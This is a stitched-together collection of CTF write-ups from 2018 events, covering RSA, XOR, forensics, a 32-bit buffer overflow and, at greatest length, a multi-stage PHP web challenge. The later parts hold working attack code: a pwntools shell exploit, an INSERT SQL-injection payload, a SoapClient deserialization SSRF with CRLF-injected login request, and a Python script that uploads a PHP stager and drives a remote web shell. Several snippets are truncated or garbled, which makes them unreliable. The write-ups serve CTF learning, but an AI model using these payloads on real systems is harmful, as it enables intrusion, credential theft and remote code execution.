```BASHssh [email protected] -p 3004 -i privkey.pemWelcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantageactf{ssh_keys_not_broken_enough}Connection to web.angstromctf.com closed.```
Le flag est : **actf{ssh_keys_not_broken_enough}**
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
# Evil Website (forensics)
We're given a directory containing lots of interesting firefox stuff.
```┌[michal@Bobik] [/dev/ttys002] [master ⚡] └[~/Downloads/Chall]> lsAlternateServices.txt containers.json firebug modifyheaders.conf serviceworker.txtSecurityPreloadState.txt content-prefs.sqlite formhistory.sqlite notificationstore.json sessionCheckpoints.jsonSiteSecurityServiceState.txt cookies.sqlite gmp permissions.sqlite sessionstore-backupsaddonStartup.json.lz4 cookies.sqlite-shm gmp-gmpopenh264 pkcs11.txt shield-preference-experiments.jsonaddons.json cookies.sqlite-wal gmp-widevinecdm places.sqlite storageblocklist.xml crashes handlers.json places.sqlite-shm storage.sqliteblocklists datareporting key3.db places.sqlite-wal times.jsonbookmarkbackups extensions key4.db pluginreg.dat weavebrowser-extension-data extensions.json kinto.sqlite prefs.js webappscert8.db favicons.sqlite lock revocations.txt webappsstore.sqlitecert9.db favicons.sqlite-shm logins.json saved-telemetry-pings webappsstore.sqlite-shmcert_override.txt favicons.sqlite-wal mimeTypes.rdf search.json.mozlz4 webappsstore.sqlite-walcompatibility.ini features minidumps secmod.db xulstore.json```
Unfortunately, all we had to do is notice a pretty suspicious cookie:
Decoding the base64 gave us a weird `Targa image data` file.You might be tempted to look for some weird ancient software just to view it, but as it turned out that the best way was to actually just import it into gimp as raw data:
|
Challenge:* 64bit dynamically linked binary (canary and NX enabled, no PIE)* Source code available* The user can input 16 bytes of code, which is checked for several byte-sequences and then executed
Possible solution:* Use rcx register which contains a libc address to trigger one-gadget in libc to call execve("/bin/sh", NULL, NULL) |
# NeverLan CTF 2018: tik-tik-boom
**Category:** Web Exploitation**Points:** 300
**Description:**
#UPDATE!>$$$$$ Correction a Player found a bug can you find it???
>http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14065/
## Write-up
In source we have some credentials:
>admin:hahahaN0one1s3verGett1ngTh1sp@ssw0rd
We can set it in cookies. But when in source we have:
>Close, but your timing is off purvesta...
First clue is 'purvesta's time.'
Tanner Purves aka Puvesta is NeverLan CTF Team member:
>https://neverlanctf.com/Purvesta
From his twitter we know He is from Idaho.
>https://twitter.com/purvesta0704
We are in Poland, so we have -7 hours to Idaho. If we wait and reload site in right time we get the flag!
`flag{You_are_really_good_at_this_timing_thing}`
We probably also have a bug (see #UPDATE) which allow download source code. |
# Full WriteUp
Full Writeup on our website: [http://www.aperikube.fr/docs/nullcon_2018_osint4/](http://www.aperikube.fr/docs/nullcon_2018_osint4/)
-----
# TL;DR
In this task I have to “hack” again a server. So I nmapped the IP, I got 22 and 80 ports open, there is a .git directory.
Then we take a look on previous commit and I can see a slack token, with the Slack API I get back private / public ssh keys and user information (username).
Then, with those informations I just log myself with username and keys. A little look about history and flag. |
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**Dscription**
`You are a given a VM image vm.ova. The flag is CTF{password}.`
**Files**[vm.ova](https://drive.google.com/file/d/1269Xj-ZtRhr2qhV713V-XLYceD7OUYhA/view)
-----
**Solution**So, we have an Ubuntu 17.04 VM image.Let's open it in a hypervisor you prefer more.First of all we have to get into the boot menu (pres ESC on load) and boot in recovery mode.And you are root. We can study all the `.bash_history` in users directories (`/root` & `/home/ctf`) and we'll find something very interesting. But... It's an easy task, right?Ok, let's see /etc/shadow contents, and we'll find out, that only the ctf password is set.
-----
-----
That easy? Yeah, it's a 75 points task. Now you can go and brute it using `rockyou` as dictionary.The password will be `infosec`. So now you have only submit the SHA256 of the flag:
`b83778882e48e092c3d722aa4e4e705f4b23ce396c461d889bc53ef0a4c87a37`
**That's All Folks!** |
import sysimport r2pipe
r2 = r2pipe.open('./slammer')r2.cmd('doo')r2.cmd('e dbg.profile=w.rr2')r2.cmd('db 0x0060016A')r2.cmd('dc')r2.cmd('sr rip')
def fun(): r2.cmd('ds') r2.cmd('sr rip')
w = ''while True: try: s = r2.cmdj('pdj 1')[0]['opcode'] if 'inc rcx' == s: fun() ss = r2.cmdj('pdj 1')[0]['opcode'] if 'cmp byte [rcx]' == ss[:14]: a = int(ss[-4:], 16) r2.cmd('wx %x @rcx' % a) w += chr(a) sys.stdout.write('\r' + w) sys.stdout.flush() except TypeError: fun() continue fun() |
Huh, everybody here is writting about return to libc, I got away without (although it may have not been simpler).
We are given a binary with noexec stack and a buffer overflow (`gets`). `main` just runs `reduced_shell`, which in turn recognizes four commands - `ls`, `cal`, `pwd` and `whiami`. Some part of it:
```080485ef <reduced_shell>: 80485ef: 55 push ebp 80485f0: 89 e5 mov ebp,esp 80485f2: 83 ec 28 sub esp,0x28 80485f5: 83 ec 0c sub esp,0xc 80485f8: 68 42 88 04 08 push 0x8048842 80485fd: e8 1e fe ff ff call 8048420 <puts@plt> 8048602: 83 c4 10 add esp,0x10 8048605: 83 ec 0c sub esp,0xc 8048608: 68 5e 88 04 08 push 0x804885e 804860d: e8 0e fe ff ff call 8048420 <puts@plt> 8048612: 83 c4 10 add esp,0x10 8048615: 83 ec 0c sub esp,0xc 8048618: 68 70 88 04 08 push 0x8048870 804861d: e8 fe fd ff ff call 8048420 <puts@plt> 8048622: 83 c4 10 add esp,0x10 8048625: 83 ec 0c sub esp,0xc 8048628: 68 96 88 04 08 push 0x8048896 804862d: e8 ce fd ff ff call 8048400 <printf@plt> 8048632: 83 c4 10 add esp,0x10 8048635: 83 ec 0c sub esp,0xc 8048638: 8d 45 e4 lea eax,[ebp-0x1c] 804863b: 50 push eax 804863c: e8 cf fd ff ff call 8048410 <gets@plt> 8048641: 83 c4 10 add esp,0x10 8048644: 83 ec 08 sub esp,0x8 8048647: 68 30 88 04 08 push 0x8048830 804864c: 8d 45 e4 lea eax,[ebp-0x1c] 804864f: 50 push eax```
Look at this line:
```lea eax,[ebp-0x1c]```
This means, that we need to write `0x1c + 4` bytes (4 for the stack frame), then overwrite return address of `reduced_shell`. Let's take a look at `ls` function:
```0804858b <ls>: 804858b: 55 push ebp 804858c: 89 e5 mov ebp,esp 804858e: 83 ec 08 sub esp,0x8 8048591: 83 ec 0c sub esp,0xc 8048594: 68 30 88 04 08 push 0x8048830 8048599: e8 92 fe ff ff call 8048430 <system@plt> 804859e: 83 c4 10 add esp,0x10 80485a1: 90 nop 80485a2: c9 leave 80485a3: c3 ret ```
If we could create a string containing `/bin/sh`, push its address on stack and then jump to `0x8048599`, we'd get a shell. Since `ebp` is variable, we can't write this string to buffer. Somehow, after running strings on the binary, we find a `/bin/sh` string, how cute. Now we need to get the address: ```$ gdb-peda ./pwn4Reading symbols from ./pwn4...(no debugging symbols found)...done.gdb-peda$ b mainBreakpoint 1 at 0x8048791gdb-peda$ rgdb-peda$ info proc mapprocess 6409Mapped address spaces:
Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/enedil/tamuctf2018/pwn4 0x8049000 0x804a000 0x1000 0x0 /home/enedil/tamuctf2018/pwn4 0x804a000 0x804b000 0x1000 0x1000 /home/enedil/tamuctf2018/pwn4 0xf7ddb000 0xf7f94000 0x1b9000 0x0 /usr/lib/libc-2.26.so 0xf7f94000 0xf7f95000 0x1000 0x1b9000 /usr/lib/libc-2.26.so 0xf7f95000 0xf7f97000 0x2000 0x1b9000 /usr/lib/libc-2.26.so 0xf7f97000 0xf7f98000 0x1000 0x1bb000 /usr/lib/libc-2.26.so 0xf7f98000 0xf7f9d000 0x5000 0x0 0xf7fcf000 0xf7fd2000 0x3000 0x0 [vvar] 0xf7fd2000 0xf7fd4000 0x2000 0x0 [vdso] 0xf7fd4000 0xf7ffc000 0x28000 0x0 /usr/lib/ld-2.26.so 0xf7ffc000 0xf7ffd000 0x1000 0x27000 /usr/lib/ld-2.26.so 0xf7ffd000 0xf7ffe000 0x1000 0x28000 /usr/lib/ld-2.26.so 0xfffdd000 0xffffe000 0x21000 0x0 [stack]gdb-peda$ find "/bin/sh" 0x8048000 0x804b000Searching for '/bin/sh' in range: 0x8048000 - 0x804b000Found 1 results, display max 1 items:pwn4 : 0x804a038 ("/bin/sh")```
Here it is! Final exploit: ```#!/usr/bin/env python3import pwn
p = pwn.process('./pwn4')
buffer_len = 0x1c + 4ls_addr = 0x8048599bin_sh_addr = 0x804a038
p.send(b'a' * buffer_len)p.send(ls_addr.to_bytes(4, 'little'))p.send(bin_sh_addr.to_bytes(4, 'little'))p.send(b'\n')p.interactive()``` |
# INTRO TO RSA
Here's the challenge:```p = 169524110085046954319747170465105648233168702937955683889447853815898670069828343980818367807171215202643149176857117014826791242142210124521380573480143683660195568906553119683192470329413953411905742074448392816913467035316596822218317488903257069007949137629543010054246885909276872349326142152285347048927q = 170780128973387404254550233211898468299200117082734909936129463191969072080198908267381169837578188594808676174446856901962451707859231958269401958672950141944679827844646158659922175597068183903642473161665782065958249304202759597168259072368123700040163659262941978786363797334903233540121308223989457248267e = 65537c = 4531850464036745618300770366164614386495084945985129111541252641569745463086472656370005978297267807299415858324820149933137259813719550825795569865301790252501254180057121806754411506817019631341846094836070057184169015820234429382145019281935017707994070217705460907511942438972962653164287761695982230728969508370400854478181107445003385579261993625770566932506870421547033934140554009090766102575218045185956824020910463996496543098753308927618692783836021742365910050093343747616861660744940014683025321538719970946739880943167282065095406465354971096477229669290277771547093476011147370441338501427786766482964```
Its very basic RSA challenge, here's python2 the script:
``` python
import gmpy2
p = 169524110085046954319747170465105648233168702937955683889447853815898670069828343980818367807171215202643149176857117014826791242142210124521380573480143683660195568906553119683192470329413953411905742074448392816913467035316596822218317488903257069007949137629543010054246885909276872349326142152285347048927q = 170780128973387404254550233211898468299200117082734909936129463191969072080198908267381169837578188594808676174446856901962451707859231958269401958672950141944679827844646158659922175597068183903642473161665782065958249304202759597168259072368123700040163659262941978786363797334903233540121308223989457248267e = 65537c = 4531850464036745618300770366164614386495084945985129111541252641569745463086472656370005978297267807299415858324820149933137259813719550825795569865301790252501254180057121806754411506817019631341846094836070057184169015820234429382145019281935017707994070217705460907511942438972962653164287761695982230728969508370400854478181107445003385579261993625770566932506870421547033934140554009090766102575218045185956824020910463996496543098753308927618692783836021742365910050093343747616861660744940014683025321538719970946739880943167282065095406465354971096477229669290277771547093476011147370441338501427786766482964t = (p-1)*(q-1)n = p*q
d = gmpy2.invert(e,t)
# Decryptionm = pow(c,d,n)print 'flag :', str(hex(int(m)))[2:-1].decode('hex')```
So flag must be:
```actf{rsa_is_reallllly_fun!!!!!!}```
|
# Angstrom CTF : XOR
**Category:** Crypto **Points:** 40
> We found these mysterious symbols (fbf9eefce1f2f5eaffc5e3f5efc5efe9fffec5fbc5e9f9e8f3eaeee7) hidden in ancient (1950s-era) ruins. We think a single byte may be key to unlocking the mystery. Can you help us figure out what they mean?> > > HINTS> > I cancel myself out, create from nothing, and negate from everything. What am I?
## Write-up
We are only given a ciphertext of fbf9eefce1f2f5eaffc5e3f5efc5efe9fffec5fbc5e9f9e8f3eaeee7 to decrypt for this challenge.
The ciphertext looks like it is in hex because the values range from numbers up until the letter f, which is the largest single hexadecimal value.
XOR is exclusive-or which is basically:```0 or 0 = 00 or 1 = 11 or 0 = 11 or 1 = 0```Knowing this I decided to convert the ciphertext into binary since it will be easier to xor in binary.
The challenge description also states that a single byte may be the key to unlocking the mystery. One hex value is a nibble (4 bits) and two hex values is equal to a byte (8 bits).
I checked the length of the ciphertext and saw it was 56 characters long, so I could split it into 23 sections with 2 characters in each section.
The flag format for the ctf usually begins with actf{ so knowing this we can try to solve for the start of the ciphertext.
I converted fb into its byte format which was:```11111010```Then I checked for the ascii binary value of the letter a which was:```01100001```Knowing that the binary value of a was the desired output I had to find a byte value to xor with fb that would equal a, and that value was:```10011010```We now check the second byte of f9 to see if when xor'ed with the key will equal to the ascii value of c, since c is the next value in the flag format actf{.
```1111100110011010________01100011```
Converting 01100011 into ascii we see that it is indeed equal to c.
At this point I can make a simple python script to finish the rest of the flag.```#ciphertextvalue = "fbf9eefce1f2f5eaffc5e3f5efc5efe9fffec5fbc5e9f9e8f3eaeee7"
#changes the ciphertext from hex to binaryb = bin(int(value, 16))b = b[2:]
#splits the binary list value into byte-sized sectionsx = [b[i:i+8] for i in range(0, len(b), 8)]
#For loop to iterate through the list of seperated values.for n in x: #Turns the byte into a decimal value l = int(n,2) #XOR's the decimal value with our key 10011010, which in decimal is 154 l = l ^ 154 #Prints the flag print(chr(l), end='') ```We then get the flag of: actf{hope_you_used_a_script}
|
Decently smart bruteforce? Check
Decent looking assumptions that may or may not be true? Check
Decent decentness decently being decent? Please, go away - decently
[Fully decent writeup](https://theromanxpl0it.github.io/ctf_tamuctf18/2018/03/01/despicableme.html) |
Theoretically easy, actually quite complicated, ppc challenge
[Full writeup with code and explanation](https://theromanxpl0it.github.io/ctf_n1ctf18/2018/03/12/mathgame.html) |
```#!/usr/bin/env python3import binasciikey = "JDClkFeX"def mystery(s): r = "" for i, c in enumerate(s): #print ((i,c)) r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256)) #print (binascii.hexlify(bytes(r, "utf-8")).decode("utf-8")) #print (len((binascii.hexlify(bytes(r, "utf-8")).decode("utf-8")))) return binascii.hexlify(bytes(r, "utf-8"))
#print (mystery("easyctf{"))
cipherhex="6525c3b53dc38f2a3813330cc3bfc3965bc3acc3bf77c383c3acc3977603c3b8c3aac390c294c3a0c2a819"key = "JDClkFeX"
def resolve(cipherhex,key): flag="" rang=1 i=0 while rang |
## easy php (Web, 540pt)
> Not racing, just enjoying the slow pace of life :)> > http://47.97.221.96> > Mirror: http://47.97.221.96:23333/>> [Dockerfile](a35ad7b6-56df-4cfc-bcba-089b83a8544b.Dockerfile)
This was one of the toughest challenges I've ever worked on a CTF and it required the exploitation of several bugs in order to reach the flag, so let's start with an overview.
* Arbitrary file disclosure through backup files (`~`) and LFI* INSERT SQLi in publish functionality to exfiltrate admin credentials through un/serialized PHP object* SSRF (CRLF injection) through unsafe object deserialization to "bypass" `$_SERVER['REMOTE_ADDR'] === '127.0.0.1'` condition and get authenticated admin session* File upload filtering bypass using PHP `~`+=,.;:/?|'; $password = ''; for ( $i = 0; $i < $length; $i++ ) { $password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; } return $password;}```
We can simply precalculate all MD5 hashes (`92**3 == 778688`) and save them to a file which we can later use to solve all captchas.
```pythonimport hashlibfrom itertools import product
c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'captchas = [''.join(i) for i in product(c, repeat=3)]
print '[+] Genering {} captchas...'.format(len(captchas))with open('captchas.txt', 'w') as f: for k in captchas: f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')```
#### Getting admin credentials
Now that we have a user account let's go to the more serious staff. The application actually exposes two main functionalities to authenticated non-admin users.
**Publish:**
```POST /index.php?action=publish HTTP/1.1Host: 47.97.221.96:23333Content-Type: application/x-www-form-urlencodedContent-Length: 20Connection: close
signature=XXX&mood=0```
**Allow sign in from different IP:**
```POST /index.php?action=profile HTTP/1.1Host: 47.97.221.96:23333Content-Type: application/x-www-form-urlencodedContent-Length: 6Connection: close
adio=1```
Code review reveals that the `signature` parameter in publish requests is vulnerable to INSERT SQLi.
```phpfunction publish(){ //.. $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip()))); $db = new Db(); @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood)); //..}```
The corresponding functions from config.php are given below.
```phpprivate function get_column($columns){ if(is_array($columns)) $column = ' `'.implode('`,`',$columns).'` '; else $column = ' `'.$columns.'` '; return $column;}
public function insert($columns,$table,$values){ $column = $this->get_column($columns); $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')'; $nid = $sql = 'insert into '.$table.'('.$column.') values '.$value; $result = $this->conn->query($sql); return $result;}```
We can use a common SQLi payload for insert statements but in order to cope with the `preg_replace`, we must use backticks (`` ` ``) in place of single quotes (`'`). So, sending the following payload:
```mood=0&signature=a`, `mood`); -- -```
will result in the following MySQL query:
```insert into ctf_user_signature( `userid`,`username`,`signature`,`mood` )values ( '1','foo','a', 'mood'); -- -`,'0' )```
Next step, is to extract data. In the index view we see that the `showmess()` function is used retrieve data from the `ctf_user_signature` table and present them to us. So, this a good place to look at what we should inject. The relevant code is given below.
```phpfunction showmess(){ //.. $db = new Db(); @$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc"); if($ret) { $data = array(); while ($row = $ret->fetch_row()) { $sig = $row[1]; $mood = unserialize($row[2]); $country = $mood->getcountry(); $ip = $mood->ip; $subtime = $mood->getsubtime(); $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime); array_push($data, $allmess); } $data = json_encode(array('code'=>0,'data'=>$data)); return $data; } //..}```
So, the mood must be a valid serialized `Mood` object in order to avoid PHP throwing fatal errors upon deserialization and being able to exfiltrate admin's password. We must also take into account that the `addslahes()` function must be applied to the serialized object we inject. Below, a serialized `Mood` is given.
```O:4:"Mood":3:{ s:4:"mood";i:0; s:2:"ip";s:9:"127.0.0.1"; s:4:"date";i:1520664478;}```
I decided to use the `mood` parameter to extract data one byte at a time since it is an integer and it doesn't require a length to be specified in the object; thus it will be useful to extract any data we may need. We could definitely find other ways to extract data, also taking into account that the given endpoint seemed to be JSON injectable! :P
```http://ip.taobao.com/service/getIpInfo.php?ip=x%22,%22country%22,%22pwn%22}}//```
But anyway, let's ignore that. We have constructed our final injection payload as given below.
```a`, (select concat(`O:4:\"Mood\":3:{s:4:\"mood\";i:`,ord(substr(password,1,1)),`;s:2:\"ip\";s:9:\"127.0.0.1\";s:4:\"date\";i:1520664478;}`) from ctf_users where is_admin=1 limit 1)); -- -```
After our injection is inserted into the database, we can extract the `mood` bytes from the image filenames at index view. The solution is automated in the [solve_sqli.py](solve_sqli.py) script.
```❯❯❯ python solve_sqli.py[+] register(o3yipuuktb, ekmhxqhd13)[+] login(o3yipuuktb, ekmhxqhd13)[+] user session => que3r92vlqdsso9f6r81djvn51[+] admin hash => 2533f492a796a3227b0c6f91d102cc36```
The MD5 could not be cracked with either rockyou or any well-known online service but during the CTF admins provided an endpoint which could be used to "crack" the hash.
```❯❯❯ curl http://47.52.137.90:20000/getmd5.php?md5=2533f492a796a3227b0c6f91d102cc36nu1ladmin```
And we have admin credentials.
```admin:nu1ladmin```
#### SSRF through unsafe object deserialization
Having acquired admin credentials, we try to login but we receive the message `You can only login at the usual address`. Looking into the relevant code, it seems that the administrator entry in the `ctf_users` table disallows logins from different IPs and the only IP address allowed is `127.0.0.1`.
```phpfunction login(){ //... $user = $ret->fetch_row(); if($user) { if ($user[4] == '0' && $user[2] !== get_ip()) die("You can only login at the usual address"); //... } //...}```
During login, our IP address is obtained using the `get_ip()` function (as defined in config.php), and unfortunately there is no way to bypass it using HTTP request headers.
```phpfunction get_ip(){ return $_SERVER['REMOTE_ADDR'];}```
At the time I reached that point, the challenge had still 0 solves so I started thinking that we may need to find a way to spoof `REMOTE_ADDR`, so I spent several hours reading the relevant code in the PHP source. Of course, I had no luck with it! Taking into account the hints released by the challenge author, we were pointed towards finding a non-obivous SSRF to access the admin account.
After spending many hours stuck at this point, we started thinking that we have complete control over the object being deserialized and this is absolutely alarming. However, there are no _magic methods_ defined in the `Mood` class and our IP was always retrieved dynamically. As such, we thought that we may be able to use another PHP object that will somehow benefit us. Looking at the `showmess()` function where objects get deserialized, we have the following.
```phpfunction showmess(){ //... $db = new Db(); @$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc"); if($ret) { $data = array(); while ($row = $ret->fetch_row()) { $sig = $row[1]; $mood = unserialize($row[2]); $country = $mood->getcountry(); $ip = $mood->ip; $subtime = $mood->getsubtime(); $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime); array_push($data, $allmess); } $data = json_encode(array('code'=>0,'data'=>$data)); return $data; } else return false; //...}```
After deserialization, we see the function `getcountry()` called on the object. Initial thought was to enumerate all PHP objects that define a `getcountry()` method and see if there are any vulnerabilities we could exploit there. Unfortunately, there are no such classes. So, looking the other way around, it seems that there is a _magic method_ triggered upon calls to undefined methods. As we read in the [PHP documentation](https://secure.php.net/manual/en/language.oop5.overloading.php#object.call), this is the `__call()` method.
> `__call()` is triggered when invoking inaccessible methods in an object context.
The following code was used to enumerate all PHP classes that define the `__call()` method.
```php
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1:8080/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>```
Initially, only the `uri` parameter was chosen to craft our exploit. So, our test code is modified as shown below to see where the injection takes place in the HTTP request.
```php "http://127.0.0.1:8080/\x0d\x0aURI_INJECTION", 'location' => 'http://127.0.0.1:8080/');// Set the first parameter of SoapClient to null,// in order to run in non-WSDL mode.$soap = new SoapClient(null, $p);$serial_soap = serialize($soap);$unserial_soap = unserialize($serial_soap);$unserial_soap->getcountry();```
The CRLF injection has been reflected in the request.
```POST / HTTP/1.1Host: 127.0.0.1:8080Connection: Keep-AliveUser-Agent: PHP-SOAP/7.1.12Content-Type: text/xml; charset=utf-8SOAPAction: "http://127.0.0.1:8080/URI_INJECTION#getcountry"Content-Length: 407
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1:8080/URI_INJECTION" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>```
We must adapt our payload to meet the following requirements:
1. The `Content-Type` must be set to `application/x-www-form-urlencoded`2. The `Content-Length` must be set to the length of the data we want to POST3. The requests must include our POST data4. The default SOAP envelope and remaining HTTP request headers must be somehow ignored and not affect the login request
The approach we followed to match all requirements was to craft 3 separate requests with the one in the middle (the only one we will completely control) being the login request. The _trick_ here is to terminate the first request using the `Content-Length: 0` request header, which will terminate it and allow the second request to be read separately. The last request will be used to discard all unwanted data, such as the remaining HTTP headers and the SOAP envelope.
The SSRF payload up to this point, looks like this:
```http://127.0.0.1/Content-Length:0
POST /index.php?action=login HTTP/1.1Host: 127.0.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 42
username=admin&password=nu1ladmin&code=XXX
POST /foo```
But there are still 2 problems we must overcome:
1. How do we get any response back from the server?2. How do we solve the captcha through the SSRF?
Fortunately, there is a simple solution that will address both issues. We can pre-generate a session from our browser, solve the captcha locally, and send the `PHPSESSID` cookie alongside the request as well as the solution to the capctha (solution to the captcha is tied to our session). If the SSRF succeeds, the `PHPSESSID` will be an admin authenticated session.
The following code has been used to generate the serialized object that will trigger our SSRF.
```php "http://127.0.0.1/\x0d\x0aContent-Length: 0\x0d\x0a\x0d\x0a\x0d\x0aPOST /login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID=XXX\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 42\x0d\x0a\x0d\x0ausername=admin&password=nu1ladmin&code=XXX\x0d\x0a\x0d\x0aPOST /foo", 'location' => 'http://127.0.0.1/');$soap = new SoapClient(null, $p);$serial_soap = serialize($soap);var_dump($serial_soap);```
And this is the final payload sent to the server.
```POST /index.php?action=publish HTTP/1.1Host: 47.97.221.96:23333Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.18.1Cookie: PHPSESSID=rfiaqul0ek01lgvsbgg1pls252Content-Length: 889Content-Type: application/x-www-form-urlencoded
mood=0&signature=a%60%2C+0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a3237313a22687474703a2f2f3132372e302e302e312f0d0a436f6e74656e742d4c656e6774683a300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d343272726d313632766d3266387372756a626b697669357538370d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a2034320d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d4928290d0a0d0a504f5354202f666f6f0d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31333a225f736f61705f76657273696f6e223b693a313b7d%29%3B+--+```
#### Getting RCE through unsafe file upload
Admin accounts have access to upload functionality, which we must obviously target to get RCE on the server. The related functions are given below.
```php// index.phpfunction publish(){ //.. if(isset($_FILES['pic'])) { if (upload($_FILES['pic'])){ echo 'upload ok!'; return true; } else { echo "upload file error"; return false; } } //..}```
```php// config.phpfunction upload($file){ $file_size = $file['size']; if($file_size>2*1024*1024) { echo "pic is too big!"; return false; } $file_type = $file['type']; if($file_type!="image/jpeg" && $file_type!='image/pjpeg') { echo "file type invalid"; return false; } if(is_uploaded_file($file['tmp_name'])) { $uploaded_file = $file['tmp_name']; $user_path = "/app/adminpic"; if (!file_exists($user_path)) { mkdir($user_path); } $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']); $file_true_name = str_replace('/','',$file_true_name); $file_true_name = str_replace('\\','',$file_true_name); $file_true_name = $file_true_name.time().rand(1,100).'.jpg'; $move_to_file = $user_path."/".$file_true_name; if(move_uploaded_file($uploaded_file,$move_to_file)) { if(stripos(file_get_contents($move_to_file),'=0) system('sh /home/nu1lctf/clean_danger.sh'); return $file_true_name; } else return false; } else return false;}```
This is what happens on file uploads:
* All uploaded files must be < 2MB* Mime-type must be either `image/jpeg` or `image/pjpeg` (easy to spoof)* Files are uploaded in `adminpic/` folder with the name `$file_true_name.time().rand(1,100).'.jpg'`* **After a file has been uploaded**, it will be removed if it has ` Off => Off```
As we read in the [PHP documentation](https://secure.php.net/manual/en/ini.core.php#ini.short-open-tag):
> Since PHP 5.4.0, `=0)`) is **broken** (to our bad) and will always evaluate to `true` irregardless of the content we upload.
```❯❯❯ php -r "var_dump(stripos('no_tag_here', '= 0);'bool(true)```
```(╯°□°）╯︵ ┻━┻```
However, for some reason (that I really don't understand) that didn't work on the application. Even though it will always evaluate to `true`, our shell was not removed from the server if the ` ' + sess.cookies.get_dict()['PHPSESSID']
print '[+] getting fresh session to be authenticated as admin'phpsessid, code = get_admin_session()
ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 42\x0d\x0a\x0d\x0ausername=admin&password=nu1ladmin&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))
payload = 'a`, {}); -- -'.format(mood)
print '[+] final sqli/ssrf payload: ' + payload
print '[+] injecting payload through sqli'resp = publish(payload, '0')
print '[+] triggering object deserialization -> ssrf'sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})
print '[+] admin session => ' + phpsessid
# switching to admin sessionsess = requests.Session()sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})
print '[+] uploading stager'shell = {'pic': ('kkk.jpg', '");?>', 'image/jpeg')}resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})prc_now = get_prc_now()[:-1] # get epoch immediately
if 'upload ok' not in resp.text: print '[-] failed to upload shell, check admin session manually' sys.exit(0)
print '[+] bruteforcing uploaded file...'stager = brute_filename('kkk', prc_now, phpsessid)
if not stager: print '[-] cannot find uploaded file, try again :(' sys.exit(0)
print '[+] stager => {}../adminpic/{}'.format(_action, stager)resp = sess.get(_action+'../adminpic/'+stager)
shell = _target+'wshell.php'print '[+] shell => {}\n'.format(shell)
while True: cmd = raw_input('$ ').strip() if cmd == 'exit' or cmd == 'quit': break resp = requests.get('{}?0={}'.format(shell, cmd)) print resp.text```
